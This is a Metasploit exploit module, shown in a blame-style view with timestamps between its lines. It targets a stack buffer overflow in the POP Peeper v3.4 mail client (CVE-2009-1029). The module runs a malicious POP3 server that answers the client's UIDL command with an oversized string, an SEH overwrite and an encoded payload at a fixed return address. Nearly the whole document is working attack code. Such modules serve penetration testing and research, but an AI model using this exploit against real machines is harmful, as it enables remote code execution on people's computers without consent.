2009-10-15 18:04:58 +00:00
|
|
|
##
|
2010-01-28 20:15:32 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-10-15 18:04:58 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-10-15 18:04:58 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-10-15 18:04:58 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'POP Peeper v3.4 UIDL Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in POP Peeper v3.4.
|
2010-03-10 05:58:01 +00:00
|
|
|
When a specially crafted UIDL string is sent to a client,
|
|
|
|
an attacker may be able to execute arbitrary code. This
|
|
|
|
module is based off of krakowlabs code.
|
2009-10-15 18:04:58 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2009-10-15 18:04:58 +00:00
|
|
|
[
|
2010-11-30 20:19:18 +00:00
|
|
|
[ 'OSVDB', '53559' ],
|
|
|
|
[ 'CVE', '2009-1029' ],
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'BID', '33926' ],
|
2010-11-30 20:19:18 +00:00
|
|
|
[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt' ]
|
2009-10-15 18:04:58 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 750,
|
|
|
|
'BadChars' => "\x00\x0a\x20\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
|
|
'DisableNops' => 'True',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Feb 27 2009',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2009-10-15 18:04:58 +00:00
|
|
|
OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(client)
|
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_data(client)
|
|
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
|
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
|
|
|
|
|
|
|
client.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
ok = "+OK\r\n"
|
|
|
|
client.put(ok)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
client.get_once
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
ok = "+OK 1 100\r\n"
|
|
|
|
client.put(ok)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
client.get_once
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n"
|
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
client.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-10-15 18:04:58 +00:00
|
|
|
handler
|
|
|
|
service.close_client(client)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|